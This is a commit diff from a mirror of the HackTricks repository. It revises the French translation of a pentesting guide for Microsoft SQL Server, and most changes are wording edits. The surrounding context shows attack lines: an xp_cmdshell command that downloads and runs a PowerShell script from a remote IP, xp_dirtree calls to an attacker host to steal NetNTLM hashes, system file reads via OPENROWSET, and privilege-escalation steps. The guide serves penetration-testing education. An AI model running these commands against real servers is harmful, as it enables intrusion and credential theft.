mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-
This commit is contained in:
parent
2052a015ce
commit
25a3cd4cef
1 changed files with 11 additions and 11 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -26,7 +26,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** est un **système de gestion de base de données relationnelle** développé par Microsoft. En tant que serveur de base de données, il s'agit d'un produit logiciel ayant pour fonction principale de stocker et de récupérer des données telles que demandées par d'autres applications logicielles - qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\
|
||||
> **Microsoft SQL Server** est un **système de gestion de base de données relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel ayant pour fonction principale de stocker et de récupérer des données telles que demandées par d'autres applications logicielles - qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\
|
||||
|
||||
**Port par défaut :** 1433
|
||||
```
|
||||
|
@ -150,7 +150,7 @@ order by name;
|
|||
EXEC sp_helpuser
|
||||
SELECT * FROM sysusers
|
||||
```
|
||||
#### Obtenir des autorisations
|
||||
#### Obtenir les autorisations
|
||||
|
||||
1. **Sécurisable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Ils sont catégorisés en :
|
||||
* **Serveur** – Les exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles serveur.
|
||||
|
@ -219,7 +219,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
```
|
||||
### Voler le hachage NetNTLM / Attaque de relais
|
||||
|
||||
Vous devriez démarrer un **serveur SMB** pour capturer le hachage utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple).
|
||||
Vous devez démarrer un **serveur SMB** pour capturer le hachage utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -282,7 +282,7 @@ Par défaut, `MSSQL` permet la **lecture de n'importe quel fichier dans le syst
|
|||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
Cependant, l'option **`BULK`** nécessite l'autorisation **`ADMINISTER BULK OPERATIONS`** ou l'autorisation **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
Cependant, l'option **`BULK`** nécessite l'autorisation **`ADMINISTER BULK OPERATIONS`** ou **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
|
@ -315,7 +315,7 @@ GO
|
|||
```
|
||||
### Lire le Registre
|
||||
|
||||
Microsoft SQL Server propose **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau, mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
Microsoft SQL Server fournit **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Régulier** | **Conscient de l'instance** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -342,7 +342,7 @@ Pour **plus d'exemples**, consultez la [**source originale**](https://blog.wayne
|
|||
|
||||
### RCE avec la Fonction Définie par l'Utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Il est possible de **charger un fichier .NET dans MSSQL avec des fonctions personnalisées**. Cependant, cela **nécessite un accès `dbo`** donc vous avez besoin d'une connexion avec la base de données **en tant que `sa` ou un rôle d'administrateur**.
|
||||
Il est possible de **charger un fichier .NET dans MSSQL avec des fonctions personnalisées**. Cependant, cela **nécessite un accès `dbo`** donc vous avez besoin d'une connexion avec la base de données **en tant que `sa` ou un rôle d'Administrateur**.
|
||||
|
||||
[**Suivez ce lien**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
|
||||
|
||||
|
@ -350,11 +350,11 @@ Il est possible de **charger un fichier .NET dans MSSQL avec des fonctions perso
|
|||
|
||||
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblées CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Tâches de l'Agent SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
## Élévation de privilèges MSSQL
|
||||
## Élévation de Privilèges MSSQL
|
||||
|
||||
### De db\_owner à sysadmin
|
||||
|
||||
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données possédée par un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car des **procédures stockées** créées là-dedans peuvent **s'exécuter** en tant que propriétaire (**administrateur**).
|
||||
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car les **procédures stockées** créées là-dedans peuvent **s'exécuter** en tant que propriétaire (**administrateur**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -464,7 +464,7 @@ Pour plus d'informations, consultez les liens suivants concernant cette attaque
|
|||
## Élévation de privilèges locale
|
||||
|
||||
L'utilisateur exécutant le serveur MSSQL aura activé le jeton de privilège **SeImpersonatePrivilege.**\
|
||||
Vous pourrez probablement **passer à un compte Administrateur** en suivant l'une de ces 2 pages :
|
||||
Vous pourrez probablement **passer à Administrateur** en suivant l'une de ces 2 pages :
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -560,6 +560,6 @@ Autres façons de soutenir HackTricks:
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue